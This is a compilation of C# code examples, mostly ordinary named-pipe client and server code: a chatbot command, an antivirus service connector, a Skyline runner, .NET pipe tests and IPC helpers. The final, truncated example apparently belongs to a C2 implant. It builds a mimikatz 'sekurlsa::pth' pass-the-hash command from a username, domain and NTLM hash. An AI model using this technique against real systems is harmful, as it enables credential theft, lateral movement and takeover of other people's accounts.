            //Check if the chatbot is enabled
            long chatbotEnabled = DataHelper.GetSettingInt(SettingsConstants.CHATBOT_ENABLED, 0L);

            if (chatbotEnabled != 1)
            {
                QueueMessage("The streamer is not currently using a chatbot!");
                return;
            }

            using (BotDBContext context = DatabaseManager.OpenContext())
            {
                //Check if the user has the ability to chat with the chatbot
                User user = DataHelper.GetUserNoOpen(args.Command.ChatMessage.Username, context);

                if (user != null && user.HasEnabledAbility(PermissionConstants.CHATBOT_ABILITY) == false)
                {
                    QueueMessage("You do not have the ability to chat with the chatbot.");
                    return;
                }
            }

            string question = args.Command.ArgumentsAsString;

            //The user needs to send a prompt to the bot
            if (string.IsNullOrEmpty(question) == true)
            {
                QueueMessage(UsageMessage);
                return;
            }

            long chatbotPipePathIsRelative = DataHelper.GetSettingInt(SettingsConstants.CHATBOT_SOCKET_PATH_IS_RELATIVE, 1L);

            string fileName = DataHelper.GetSettingString(SettingsConstants.CHATBOT_SOCKET_PATH, string.Empty);

            try
            {
                string chatbotPipePath = fileName;

                //Get relative path if we should
                if (chatbotPipePathIsRelative == 1)
                {
                    chatbotPipePath = Path.Combine(DataConstants.DataFolderPath, fileName);
                }

                //Console.WriteLine("Full path: " + pipePath);

                //Set up the pipe stream
                using (NamedPipeClientStream chatterBotClient = new NamedPipeClientStream(".", chatbotPipePath, PipeDirection.InOut))
                {
                    //Connect to the pipe or wait until it's available, with a timeout
                    //Console.WriteLine("Attempting to connect to chatbot socket...");
                    chatterBotClient.Connect(RESPONSE_TIMEOUT);

                    //Send the input to ChatterBot
                    using (BinaryWriter promptWriter = new BinaryWriter(chatterBotClient))
                    {
                        using (BinaryReader responseReader = new BinaryReader(chatterBotClient))
                        {
                            //Get a byte array
                            byte[] byteBuffer = System.Text.Encoding.ASCII.GetBytes(question);

                            //Send the data to the socket
                            promptWriter.Write((uint)byteBuffer.Length);
                            promptWriter.Write(byteBuffer);

                            //Get the data back from the socket
                            uint responseLength = responseReader.ReadUInt32();

                            //Console.WriteLine($"Response length: responseLength");

                            string response = new string(responseReader.ReadChars((int)responseLength));

                            //Console.WriteLine($"Received response: {response}");
                            //Output the response
                            QueueMessage(response);
                        }
                    }
                }
            }
            catch (Exception exc)
            {
                QueueMessage($"Error with sending chatbot reply: {exc.Message} - Please check the \"{SettingsConstants.CHATBOT_SOCKET_PATH}\" and \"{SettingsConstants.CHATBOT_SOCKET_PATH_IS_RELATIVE}\" settings in the database.");
            }
        }
Ejemplo n.º 26
0
        public static void InitOutputConnections()
        {
            Logger.WriteLine($"[Kernel.Connectors.InitOutputConnections] Wait output connections");

            Task.Run(() =>
            {
                PartitionMon_CommandPipe_Sync.WaitOne();
                {
                    PartitionMon_CommandPipe.Connect();
                    PartitionMon_CommandWriter = new BinaryWriter(PartitionMon_CommandPipe, KernelInitializator.Config.NamedPipeEncoding);

                    Logger.WriteLine($"[Kernel.Connectors] Монитор разделов подключен", LogLevel.OK);
                }
                PartitionMon_CommandPipe_Sync.ReleaseMutex();
            });

            Task.Run(() =>
            {
                ScannerService_Output_Sync.WaitOne();
                {
                    ScannerService_Output.Connect();
                    ScannerService_Writer = new BinaryWriter(ScannerService_Output, KernelInitializator.Config.NamedPipeEncoding);

                    Logger.WriteLine($"[Kernel.Connectors] Сканнер подключен(на вход сканнера)", LogLevel.OK);
                }
                ScannerService_Output_Sync.ReleaseMutex();

                ScannerService_Command_Sync.WaitOne();
                {
                    ScannerService_Command.Connect();
                    ScannerService_CommandWriter = new BinaryWriter(ScannerService_Command, KernelInitializator.Config.NamedPipeEncoding);

                    Logger.WriteLine($"[Kernel.Connectors] Канал команд сканера подключен", LogLevel.OK);
                }
                ScannerService_Command_Sync.ReleaseMutex();
            });

            Task.Run(() =>
            {
                VirusesDb_CommandPipe_Sync.WaitOne();
                {
                    VirusesDb_CommandPipe.Connect();
                    VirusesDb_CommandWriter = new BinaryWriter(VirusesDb_CommandPipe, KernelInitializator.Config.NamedPipeEncoding);

                    Logger.WriteLine($"[Kernel.Connectors] База вирусов подключена", LogLevel.OK);
                }
                VirusesDb_CommandPipe_Sync.ReleaseMutex();

                Thread.Sleep(100);
            });

            Task.Run(() =>
            {
                Api_Out_Sync.WaitOne();
                {
                    Api_Out.Connect();

                    Logger.WriteLine($"[Kernel.Connectors] API OUT connected", LogLevel.OK);
                }
                Api_Out_Sync.ReleaseMutex();
            });
        }
Ejemplo n.º 27
0
        private int run(IEnumerable <string> args)
        {
            const string skylineAppName = "Skyline"; // Not L10N

            string[] possibleSkylinePaths = ListPossibleSkylineShortcutPaths(skylineAppName);
            string   skylinePath          = possibleSkylinePaths.FirstOrDefault(File.Exists);

            if (null == skylinePath)
            {
                Console.WriteLine(Resources.Program_Program_Error__Unable_to_find_Skyline_program_at_any_of_the_following_locations_);
                foreach (var path in possibleSkylinePaths)
                {
                    Console.WriteLine(path);
                }
                return(1);
            }
            string guidSuffix  = string.Format("-{0}", Guid.NewGuid()); // Not L10N
            var    psiExporter = new ProcessStartInfo(@"cmd.exe")       // Not L10N
            {
                CreateNoWindow  = true,
                UseShellExecute = false,
                Arguments       = String.Format("/c \"{0}\" CMD{1}", skylinePath, guidSuffix) // Not L10N
            };

            Process.Start(psiExporter);

            string inPipeName = "SkylineInputPipe" + guidSuffix; // Not L10N

            using (var serverStream = new NamedPipeServerStream(inPipeName))
            {
                if (!WaitForConnection(serverStream, inPipeName))
                {
                    Console.WriteLine(Resources.Program_Program_Error__Could_not_connect_to_Skyline_);
                    Console.WriteLine(Resources.Program_Program_Make_sure_you_have_a_valid__0__installation_, skylineAppName);
                    return(1);
                }

                using (StreamWriter sw = new StreamWriter(serverStream))
                {
                    // Send the directory of SkylineRunner to Skyline
                    sw.WriteLine("--dir=" + Directory.GetCurrentDirectory()); // Not L10N

                    foreach (string arg in args)
                    {
                        sw.WriteLine(arg);
                    }
                }
            }

            using (var pipeStream = new NamedPipeClientStream("SkylineOutputPipe" + guidSuffix)) // Not L10N
            {
                // The connect function will wait 5s for the pipe to become available
                // If that is not acceptable specify a maximum waiting time (in ms)
                try
                {
                    pipeStream.Connect(5 * 1000);
                }
                catch (Exception e)
                {
                    Console.WriteLine(Resources.Program_Program_Error__Could_not_connect_to_Skyline_);
                    Console.Write(e.Message);
                    return(1);
                }

                using (StreamReader sr = new StreamReader(pipeStream))
                {
                    string line;
                    //While (!done reading)
                    while ((line = sr.ReadLine()) != null)
                    {
                        Console.WriteLine(line);
                    }
                }
            }
            return(0);
        }
Ejemplo n.º 28
0
 public void Connect()
 {
     _client.Connect();
 }
Ejemplo n.º 29
0
        static void Main(string[] args)
        {
            MapFile mf = new MapFile("../../../../Release/MyOS_1.map");

            mf.ParseFile();
            //return;

            while (true)
            {
                using (NamedPipeClientStream pipeClient =
                           new NamedPipeClientStream(".", "MyOS_PIPE", PipeDirection.InOut))
                {
                    // Connect to the pipe or wait until the pipe is available.
                    Console.Write("Attempting to connect to pipe...");
                    pipeClient.Connect();

                    Console.WriteLine("Connected to pipe.");
                    Console.WriteLine("There are currently {0} pipe server instances open.",
                                      pipeClient.NumberOfServerInstances);
                    using (StreamReader sr = new StreamReader(pipeClient))
                    {
                        // Display the read text to the console
                        string temp;
                        bool   awaitingModuleName = false;
                        bool   canMap             = false;
                        while ((temp = sr.ReadLine()) != null)
                        {
                            // If we see "Hello world!" we know the kernel restarted, and we should reload all map files
                            if (temp.Contains("Hello world!"))
                            {
                                Console.WriteLine("Reloading map files");
                                mf.ParseFile();
                                awaitingModuleName = false;
                                continue;
                            }

                            if (temp == "Stack trace:")
                            {
                                awaitingModuleName = true;
                                continue;
                            }

                            if (awaitingModuleName)
                            {
                                awaitingModuleName = false;

                                // module name will be stored in temp
                                if (temp == "KERNEL PROCESS")
                                {
                                    System.Console.WriteLine(temp);
                                    System.Console.WriteLine("Using map file " + mf.filename + "\n");
                                    canMap = true;
                                    continue;
                                }
                                else
                                {
                                    System.Console.WriteLine("Don't know where to find map file for " + temp);
                                    canMap = false;
                                }
                            }

                            if (temp.Contains("0x") && canMap)
                            {
                                Console.WriteLine(mf.FindFunction(temp));
                            }
                            else
                            {
                                // if address was in kernel space
                                if (temp.Contains("0x") && Convert.ToUInt32(temp, 16) >= 0xC0000000)
                                {
                                    Console.WriteLine(mf.FindFunction(temp));
                                }
                                else
                                {
                                    Console.WriteLine("{0}", temp);
                                }
                            }
                        }
                    }
                }
                Console.Write("\nPipe closed, Reopening...");
            }
            //Console.ReadLine();
        }
Ejemplo n.º 30
0
        void AppStartup(object sender, StartupEventArgs e)
        {
            try {
                if (!mutex.WaitOne(0, false))
                {
                    NamedPipeClientStream client = new NamedPipeClientStream(identifier);

                    try {
                        client.Connect(250);
                    } catch (Exception) { }

                    Environment.Exit(0);
                }
                GC.KeepAlive(mutex);
                NewPipe();
            } catch (Exception) {             //Prevents crash if mutex is abandoned
                return;
            } finally {
                WebRequest.DefaultWebProxy = null;

                if (Platform.ReadSetting("newVersion") == true)
                {
                    Platform.UpgradeSettings();
                    Platform.WriteSetting("newVersion", false);
                    Platform.SaveSettings();
                }
                string username = Platform.ReadSetting("bridgeUserName");
                if (Platform.ReadSetting("bridgeIP") != "0.0.0.0" && !username.Contains("albedo"))
                {
                    Storage.InitializeData();
                }
                else
                {
                    if (username.Contains("albedo"))                       //Usernames must be auto-generated by the end of 2015
                    {
                        System.Windows.MessageBox.Show("Due to a software update that changes the way apps pair with the bridge, Albedo will need to re-run the pairing wizard.\nSorry for the inconvenience.");
                    }

                    WindowStorage.setupStorage = new SetupWindow();
                    WindowStorage.setupStorage.Show();
                }

                //Set default accent
                dynamic         tileColor = Storage.tileColors(0);
                SolidColorBrush newHighlight, newAccent, newAccent2, newAccent3, newAccent4;
                newHighlight = new BrushConverter().ConvertFromString(tileColor.border);
                newAccent    = new BrushConverter().ConvertFromString(tileColor.border);
                newAccent2   = new BrushConverter().ConvertFromString(tileColor.border);
                newAccent3   = new BrushConverter().ConvertFromString(tileColor.border);
                newAccent4   = new BrushConverter().ConvertFromString(tileColor.border);

                System.Windows.Application.Current.Resources["HighlightColor"] = newHighlight;
                newAccent.Opacity = 0.75;
                System.Windows.Application.Current.Resources["AccentColorBrush"]      = newAccent;
                System.Windows.Application.Current.Resources["WindowTitleColorBrush"] = newAccent;
                System.Windows.Application.Current.Resources["CheckmarkFill"]         = newAccent;
                System.Windows.Application.Current.Resources["RightArrowFill"]        = newAccent;
                newAccent2.Opacity = 0.60;
                System.Windows.Application.Current.Resources["AccentColorBrush2"] = newAccent2;
                newAccent3.Opacity = 0.40;
                System.Windows.Application.Current.Resources["AccentColorBrush3"] = newAccent3;
                newAccent4.Opacity = 0.20;
                System.Windows.Application.Current.Resources["AccentColorBrush4"] = newAccent4;
            }
        }
Ejemplo n.º 31
0
        public static void ClientConnectWrongConflictingDirection()
        {
            const string serverName1 = "testServer4";

            using (NamedPipeServerStream server = new NamedPipeServerStream(serverName1, PipeDirection.Out))
            using (NamedPipeClientStream client = new NamedPipeClientStream(".", serverName1, PipeDirection.Out))
            {
                Assert.Throws<UnauthorizedAccessException>(() => client.Connect());

                Assert.False(client.IsConnected);
            }

            const string serverName2 = "testServer5";

            using (NamedPipeServerStream server = new NamedPipeServerStream(serverName2, PipeDirection.In))
            using (NamedPipeClientStream client = new NamedPipeClientStream(".", serverName2, PipeDirection.In))
            {
                Assert.Throws<UnauthorizedAccessException>(() => client.Connect());

                Assert.False(client.IsConnected);
            }
        }
        public static void SendObject()
        {
            NamedPipeClientStream pipeClient = null;

            try
            {
                bool requestResend = true;
                while (requestResend)
                {
                    // ----------------------------------------------------------------------------------------------------------------
                    // Try to open the named pipe identified by the pipe name.
                    pipeClient = new NamedPipeClientStream(
                        Program.ServerName,         // The server name
                        Program.PipeName,           // The unique pipe name
                        PipeDirection.InOut,        // The pipe is duplex
                        PipeOptions.None            // No additional parameters
                        );

                    pipeClient.Connect(5000);
                    Console.WriteLine("[IPC Client Connected] - Pipe Name: \"{0}\"", Program.FullPipeName);

                    pipeClient.ReadMode = PipeTransmissionMode.Message;

                    // ----------------------------------------------------------------------------------------------------------------
                    // Send our request to server
                    string message = "";
                    Order  order   = new Order()
                    {
                        Address      = "Los Angeles, CA",
                        CustomerName = "John Smith",
                        ProductName  = "Visual Studio 2017",
                        Quantity     = 1
                    };
                    message = "PROCESS_ORDER|:|" + JsonConvert.SerializeObject(order);

                    byte[] bRequest  = Encoding.UTF8.GetBytes(message);
                    int    cbRequest = bRequest.Length;
                    pipeClient.Write(bRequest, 0, cbRequest);
                    pipeClient.WaitForPipeDrain();

                    Console.WriteLine("[IPC Client Sent {0} bytes] Message: {1}", cbRequest, message);

                    // ----------------------------------------------------------------------------------------------------------------
                    // Receive acknowledgement from server.
                    string msg    = "";
                    var    reader = new StreamReader(pipeClient);
                    msg = reader.ReadToEnd();

                    byte[] tmp = Encoding.UTF8.GetBytes(msg);

                    string tmpStr = Encoding.UTF8.GetString(tmp).Replace("\0", "");
                    Console.WriteLine("[IPC Client Received {0} bytes] Message: {1}", tmp.Length, tmpStr);

                    if (tmpStr == "MSG_RECEIVED")
                    {
                        requestResend = false;
                    }
                }

                // ----------------------------------------------------------------------------------------------------------------
                // Close the pipe
                pipeClient.Close();
            }
            catch (Exception ex)
            {
                Console.WriteLine("[IPC Client ERROR] - {0}", ex.Message);
            }
            finally
            {
                // Close the pipe.
                if (pipeClient != null)
                {
                    pipeClient.Close();
                    pipeClient = null;
                }
            }
        }
Ejemplo n.º 33
0
        [PlatformSpecific(PlatformID.Windows)] // Unix currently doesn't support message mode
        public async Task Windows_MessagePipeTransissionMode(PipeOptions serverOptions)
        {
            byte[] msg1 = new byte[] { 5, 7, 9, 10 };
            byte[] msg2 = new byte[] { 2, 4 };
            byte[] received1 = new byte[] { 0, 0, 0, 0 };
            byte[] received2 = new byte[] { 0, 0 };
            byte[] received3 = new byte[] { 0, 0, 0, 0 };
            byte[] received4 = new byte[] { 0, 0, 0, 0 };
            byte[] received5 = new byte[] { 0, 0 };
            byte[] received6 = new byte[] { 0, 0, 0, 0 };
            string pipeName = GetUniquePipeName();

            using (var server = new NamedPipeServerStream(pipeName, PipeDirection.InOut, 1, PipeTransmissionMode.Message, serverOptions))
            {
                using (var client = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.None, TokenImpersonationLevel.Impersonation))
                {
                    server.ReadMode = PipeTransmissionMode.Message;
                    Assert.Equal(PipeTransmissionMode.Message, server.ReadMode);

                    Task clientTask = Task.Run(() =>
                    {
                        client.Connect();

                        client.Write(msg1, 0, msg1.Length);
                        client.Write(msg2, 0, msg2.Length);
                        client.Write(msg1, 0, msg1.Length);

                        client.Write(msg1, 0, msg1.Length);
                        client.Write(msg2, 0, msg2.Length);
                        client.Write(msg1, 0, msg1.Length);

                        int serverCount = client.NumberOfServerInstances;
                        Assert.Equal(1, serverCount);
                    });

                    server.WaitForConnection();

                    int len1 = server.Read(received1, 0, msg1.Length);
                    Assert.True(server.IsMessageComplete);
                    Assert.Equal(msg1.Length, len1);
                    Assert.Equal(msg1, received1);

                    int len2 = server.Read(received2, 0, msg2.Length);
                    Assert.True(server.IsMessageComplete);
                    Assert.Equal(msg2.Length, len2);
                    Assert.Equal(msg2, received2);

                    int expectedRead = msg1.Length - 1;
                    int len3 = server.Read(received3, 0, expectedRead);  // read one less than message
                    Assert.False(server.IsMessageComplete);
                    Assert.Equal(expectedRead, len3);
                    for (int i = 0; i < expectedRead; ++i)
                    {
                        Assert.Equal(msg1[i], received3[i]);
                    }

                    expectedRead = msg1.Length - expectedRead;
                    Assert.Equal(expectedRead, server.Read(received3, len3, expectedRead));
                    Assert.True(server.IsMessageComplete);
                    Assert.Equal(msg1, received3);

                    Assert.Equal(msg1.Length, await server.ReadAsync(received4, 0, msg1.Length));
                    Assert.True(server.IsMessageComplete);
                    Assert.Equal(msg1, received4);

                    Assert.Equal(msg2.Length, await server.ReadAsync(received5, 0, msg2.Length));
                    Assert.True(server.IsMessageComplete);
                    Assert.Equal(msg2, received5);

                    expectedRead = msg1.Length - 1;
                    Assert.Equal(expectedRead, await server.ReadAsync(received6, 0, expectedRead));  // read one less than message
                    Assert.False(server.IsMessageComplete);
                    for (int i = 0; i < expectedRead; ++i)
                    {
                        Assert.Equal(msg1[i], received6[i]);
                    }

                    expectedRead = msg1.Length - expectedRead;
                    Assert.Equal(expectedRead, await server.ReadAsync(received6, msg1.Length - expectedRead, expectedRead));
                    Assert.True(server.IsMessageComplete);
                    Assert.Equal(msg1, received6);

                    await clientTask;
                }
            }
        }
Ejemplo n.º 34
0
        public async Task OneWayReadWrites(PipeOptions serverOptions, PipeOptions clientOptions, bool asyncServerOps, bool asyncClientOps)
        {
            using (NamedPipePair pair = CreateNamedPipePair(serverOptions, clientOptions))
            {
                NamedPipeClientStream client = pair.clientStream;
                NamedPipeServerStream server = pair.serverStream;
                byte[] received   = new byte[] { 0 };
                Task   clientTask = Task.Run(async() =>
                {
                    if (asyncClientOps)
                    {
                        await client.ConnectAsync();

                        if (pair.writeToServer)
                        {
                            received = await ReadBytesAsync(client, sendBytes.Length);
                        }
                        else
                        {
                            await WriteBytesAsync(client, sendBytes);
                        }
                    }
                    else
                    {
                        client.Connect();
                        if (pair.writeToServer)
                        {
                            received = ReadBytes(client, sendBytes.Length);
                        }
                        else
                        {
                            WriteBytes(client, sendBytes);
                        }
                    }
                });
                if (asyncServerOps)
                {
                    await server.WaitForConnectionAsync();

                    if (pair.writeToServer)
                    {
                        await WriteBytesAsync(server, sendBytes);
                    }
                    else
                    {
                        received = await ReadBytesAsync(server, sendBytes.Length);
                    }
                }
                else
                {
                    server.WaitForConnection();
                    if (pair.writeToServer)
                    {
                        WriteBytes(server, sendBytes);
                    }
                    else
                    {
                        received = ReadBytes(server, sendBytes.Length);
                    }
                }

                await clientTask;
                Assert.Equal(sendBytes, received);

                server.Disconnect();
                Assert.False(server.IsConnected);
            }
        }
Ejemplo n.º 35
0
        public void Sync <o>(string Channel, o Data)
        {
            //Check o type IsSerializable
            Type ObjectType         = typeof(o);
            bool IsHaveDataContract = Attribute.IsDefined(ObjectType, typeof(DataContractAttribute));

            if (!IsHaveDataContract && !ObjectType.IsSerializable)
            {
                throw new ArgumentException("'" + ObjectType.Name + "' is not serializable type");
            }

            //Store Data
            MessagePackSerializer <NPData <o> > Serializer = SerializationContext.Default.GetSerializer <NPData <o> >();
            NPData <o> RawData = new NPData <o>()
            {
                VerifyMessage = VerifyMessage, Channel = Channel, Data = Data
            };

            byte[] ByteData = Serializer.PackSingleObject(RawData);
            if (SyncData.ContainsKey(Channel))
            {
                SyncData[Channel] = ByteData;
            }
            else
            {
                SyncData.Add(Channel, ByteData);
            }

            //Send to all subscriber
            if (Subscriber.ContainsKey(Channel))
            {
                List <string[]> Subscriber = this.Subscriber[Channel];
                //MemoryStream StreamData = new MemoryStream(ByteData);
                byte[] data = SyncData[Channel];
                //pipeClient.Write(data, 0, data.Length);
                List <string[]> Remove = new List <string[]>();
                foreach (string[] sub in Subscriber)
                {
                    using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(sub[0], string.Format("{0}.{1}.{2}", PipeName, sub[1], Channel), PipeDirection.Out, PipeOptions.Asynchronous))
                    {
                        try
                        {
                            pipeClient.Connect(500);
                            pipeClient.Write(data, 0, data.Length);
                            if (pipeClient.IsConnected)
                            {
                                pipeClient.Close();
                            }
                        }
                        catch
                        {
                            if (pipeClient.IsConnected)
                            {
                                pipeClient.Close();
                            }

                            Remove.Add(sub);
                        }
                        pipeClient.Dispose();
                    }
                }
                foreach (string[] sub in Remove)
                {
                    Subscriber.Remove(sub);
                }
                this.Subscriber[Channel] = Subscriber;
            }
        }
Ejemplo n.º 36
0
        public bool startPipe()
        {
            /////////////////////////////////////////////////////////////////////
            // Try to open a named pipe.
            //

            // Prepare the pipe name
            strServerName = ".";

            try
            {
                pipeClient = new NamedPipeClientStream(
                    strServerName,          // The server name
                    strPipeName,            // The unique pipe name
                    PipeDirection.InOut,    // The pipe is bi-directional
                    PipeOptions.None,       // No additional parameters

                    //The server process cannot obtain identification information about
                    //the client, and it cannot impersonate the client.
                    TokenImpersonationLevel.Anonymous);

                pipeClient.Connect(ProjectConstants.WIIMOTE_PIPE_TIMEOUT); // set TimeOut for connection : Original value 60000
                pipeClient.ReadMode = PipeTransmissionMode.Message;

                Console.WriteLine(@"The named pipe, \\{0}\{1}, is connected.",
                                  strServerName, strPipeName);

/*
 *          wiimoteDataClient = new NamedPipeClientStream(
 *              strServerName,              // The server name
 *              strWiimoteDataPipeName,                // The unique pipe name
 *              PipeDirection.InOut,        // The pipe is bi-directional
 *              PipeOptions.None,           // No additional parameters
 *
 *              //The server process cannot obtain identification information about
 *              //the client, and it cannot impersonate the client.
 *              TokenImpersonationLevel.Anonymous);
 *
 *          wiimoteDataClient.Connect(ProjectConstants.WIIMOTE_PIPE_TIMEOUT); // set TimeOut for connection : Original value 60000
 *          wiimoteDataClient.ReadMode = PipeTransmissionMode.Message;
 *
 *          Console.WriteLine(@"The named pipe, \\{0}\{1}, is connected.",
 *              strServerName, strWiimoteDataPipeName);
 *
 *          Thread t = new Thread(new ThreadStart(listenWiimoteDataCommands));
 *          t.Start();
 * */
            }
            catch (TimeoutException ex)
            {
                Console.WriteLine("Unable to open named pipe {0}\\{1}",
                                  strServerName, strPipeName);
                Console.WriteLine(ex.Message);
                throw new PipeCommunicationException(ex);
            }
            catch (Exception ex)
            {
                Console.WriteLine("The client throws the error: {0}", ex.Message);
                throw new PipeCommunicationException(ex);
            }

            return(true);
        }
Ejemplo n.º 37
0
        public NPServer(string PipeName, string VerifyMessage)
        {
            this.PipeName      = PipeName;
            this.VerifyMessage = VerifyMessage;

            Subscriber = new Dictionary <string, List <string[]> >();
            SyncData   = new Dictionary <string, byte[]>();
            Command    = new Dictionary <string, dynamic>();
            Command.Add("Subscribe", new NPCommand <bool>(args => {
                string MachineName = NPConvertor.ToString(args[0]);
                string Channel     = NPConvertor.ToString(args[1]);
                string UniqueId    = NPConvertor.ToString(args[2]);

                if (Subscriber.ContainsKey(Channel))
                {
                    List <string[]> OldClient = Subscriber[Channel];
                    if (OldClient.Count(c => c[1] == UniqueId) == 0)
                    {
                        OldClient.Add(new string[] { MachineName, UniqueId });
                        Subscriber[Channel] = OldClient;
                    }
                }
                else
                {
                    List <string[]> FirstSubscribe = new List <string[]>()
                    {
                        new string[] { MachineName, UniqueId }
                    };
                    Subscriber.Add(Channel, FirstSubscribe);
                }

                if (SyncData.ContainsKey(Channel))
                {
                    using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(MachineName, string.Format("{0}.{1}.{2}", PipeName, UniqueId, Channel), PipeDirection.Out, PipeOptions.Asynchronous))
                    {
                        try
                        {
                            pipeClient.Connect(500);
                            byte[] data = SyncData[Channel];
                            pipeClient.Write(data, 0, data.Length);
                            if (pipeClient.IsConnected)
                            {
                                pipeClient.Close();
                            }
                        }
                        catch (Exception Ex)
                        {
                            if (pipeClient.IsConnected)
                            {
                                pipeClient.Close();
                            }
                        }
                        pipeClient.Dispose();
                    }
                }
                return(SyncData.ContainsKey(Channel));
            }));

            RunningToken = null;
            IsRunning    = false;
        }
Ejemplo n.º 38
0
        static void Main(string[] args)
        {
            // RUN APPLICATION AS SINGLETON:
            bool createdNew = true;

            using (Mutex mutex = new Mutex(true, "NZBDriveApplicationMutex", out createdNew))
            {
                if (createdNew)
                {
                    MainWindow window = new MainWindow(args);

                    // VERSION CHECK:
                    Version curVersion =
                        System.Reflection.Assembly.GetExecutingAssembly().GetName().Version;

                    window.CurrentVersion = curVersion;

                    if (window.LatestVersionCheckDate == null)
                    {
                        window.LatestVersionCheckDate = DateTime.MinValue;
                    }
                    double timeSinceLastVersionCheck = DateTime.Now.ToOADate() - window.LatestVersionCheckDate.ToOADate();

                    if (timeSinceLastVersionCheck > 7)
                    {
                        Task.Factory.StartNew(() =>
                        {
                            try
                            {
                                WebClient client = new WebClient();
                                string url       = "http://www.nzbdrive.com/version?v=" + curVersion.ToString();
                                if (window.LicenseKey.Length > 0)
                                {
                                    url += "&k=" + GetMD5Hash(window.LicenseKey);
                                }
                                string newVersionTxt = client.DownloadString(url);


                                window.LatestVersion          = new Version(newVersionTxt);
                                window.LatestVersionCheckDate = DateTime.Now;
                            }
                            catch (Exception)
                            { }
                        });
                    }

                    App app = new App();
                    app.Run(window);
                }
                else
                {
                    using (NamedPipeClientStream pipeClient =
                               new NamedPipeClientStream(".", "NZBDriveApplicationPipe", PipeDirection.Out))
                    {
                        pipeClient.Connect();

                        using (StreamWriter sr = new StreamWriter(pipeClient))
                        {
                            foreach (string arg in args)
                            {
                                sr.WriteLine(arg);
                            }
                        }
                    }
                }
            }
            Environment.Exit(1);
        }
Ejemplo n.º 39
0
        /// <inheritdoc/>
        public void Dispose()
        {
            lock (syncLock)
            {
                if (disposing)
                {
                    return;
                }

                disposing = true;

                for (int i = 0; i < pipes.Length; i++)
                {
                    if (pipes[i] != null)
                    {
                        pipes[i].Dispose();
                        pipes[i] = null;
                    }
                }

                // $hack(jefflill):
                //
                // The [NamedPipeStream.WaitForConnection()] doesn't throw an exception
                // when the underlying pipe id disposed.  I was hoping to catch an
                // [ObjectDisposedException] in the server threads as the signal for
                // the thread to exit.
                //
                // The simple alternative is to establish a (fake) client connection
                // for each thread.
            }

            // $hack(jefflill):
            //
            // The [NamedPipeStream.WaitForConnection()] doesn't throw an exception
            // when the underlying pipe is disposed.  I was hoping to catch an
            // [ObjectDisposedException] in the server threads as the signal for
            // the thread to exit.
            //
            // The simple alternative is to establish a (fake) client connection
            // for each thread.  This will cause the [NamedPipeServerStream.WaitForConnection()]
            // to return in the thread method instances which will use [disposing] to know when
            // to exit.

            for (int i = 0; i < threads.Length; i++)
            {
                using (var clientPipe = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut))
                {
                    try
                    {
                        clientPipe.Connect(100);
                    }
                    catch
                    {
                        // Ignoring these
                    }
                }
            }

            // Wait for the threads to terminate.

            foreach (var thread in threads)
            {
                thread.Join();
            }

            threads = null;
        }
        static void Main(string[] args)
        {
            //Call the service and print it status
            var service = new ServiceController("CalculService");

            Console.WriteLine("[?] Calcul Service Status : {0}...\n", service.Status);

            //Define the pipe rules
            PipeSecurity ps = new PipeSecurity();
            //Replace "Everyone" by "Tout le monde" for french windows versions.
            PipeAccessRule psRule = new PipeAccessRule(@"Everyone", PipeAccessRights.ReadWrite, System.Security.AccessControl.AccessControlType.Allow);

            ps.AddAccessRule(psRule);

            using (NamedPipeServerStream pipeResponse = new NamedPipeServerStream("responsePipe", PipeDirection.InOut, 1, PipeTransmissionMode.Message, PipeOptions.Asynchronous, 1, 1, ps))
                using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(".", "datapipe", PipeDirection.InOut))
                {
                    Console.Write("[+] Your operation (+ - * /) : ");
                    string op = Console.ReadLine();
                    Console.Write("[+] First operand : ");
                    string nb1 = Console.ReadLine();
                    Console.Write("[+] Second operand : ");
                    string nb2 = Console.ReadLine();

                    Int32 opCode;
                    switch (op[0])
                    {
                    case '+':
                    {
                        opCode = (Int32)Commandes.Add;
                        break;
                    }

                    case '-':
                    {
                        opCode = (Int32)Commandes.Sub;
                        break;
                    }

                    case '*':
                    {
                        opCode = (Int32)Commandes.Mul;
                        break;
                    }

                    case '/':
                    {
                        opCode = (Int32)Commandes.Div;
                        break;
                    }

                    default:
                    {
                        opCode = (Int32)Commandes.Else;
                        break;
                    }
                    }

                    //Send the command to execute
                    service.ExecuteCommand(opCode);

                    //Try to connect to the service pipe
                    Console.WriteLine("\n[?] Attempting to connect to pipe...");
                    pipeClient.Connect();

                    Console.WriteLine("[+] Connected to pipe.");
                    Console.WriteLine("[+] There are currently {0} pipe server instances open.\n", pipeClient.NumberOfServerInstances);

                    //Send the data (in a format recognized by the service)
                    using (StreamWriter sw = new StreamWriter(pipeClient))
                    {
                        sw.AutoFlush = true;
                        sw.WriteLine(nb1 + " " + nb2);
                    }

                    //Wait for the service response
                    pipeResponse.WaitForConnection();

                    using (StreamReader sr = new StreamReader(pipeResponse))
                    {
                        string temp;

                        while ((temp = sr.ReadLine()) != null)
                        {
                            if (temp.Equals("[-] Error !"))
                            {
                                Console.WriteLine("[-] Unexpected error.\n");
                            }
                            else
                            {
                                Console.WriteLine("[+] Response == " + temp + "\n");
                            }
                        }
                    }
                }

            Console.Write("[!] Press any key to continue...");
            Console.ReadLine();
        }
 public void InvalidConnectTimeout_Throws_ArgumentOutOfRangeException()
 {
     using (NamedPipeClientStream client = new NamedPipeClientStream("client1"))
     {
         AssertExtensions.Throws <ArgumentOutOfRangeException>("timeout", () => client.Connect(-111));
         AssertExtensions.Throws <ArgumentOutOfRangeException>("timeout", () => { client.ConnectAsync(-111); });
     }
 }
Ejemplo n.º 42
0
        public static void PassTheHash(Job job, Agent implant)
        {
            Task task = job.Task;
            PassTheHashParameters taskParams;
            string           sacrificialApplication;
            string           commandLine = "";
            string           command     = "\"sekurlsa::pth /user:{0} /domain:{1} /ntlm:{2} /run:{3}\"";
            string           loaderStubID;
            string           pipeName;
            int              pidOfPTHProccess = -1;
            JObject          json;
            List <string>    output = new List <string>();
            MythicCredential cred;

            try
            {
                taskParams = JsonConvert.DeserializeObject <PassTheHashParameters>(job.Task.parameters);
            }
            catch (Exception ex)
            {
                job.SetError($"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}");
                return;
            }
            cred = taskParams.credential;


            if (string.IsNullOrEmpty(cred.account) || string.IsNullOrEmpty(cred.credential))
            {
                job.SetError("Username and password are required for pth.");
                return;
            }

            if (cred.credential_type != "hash")
            {
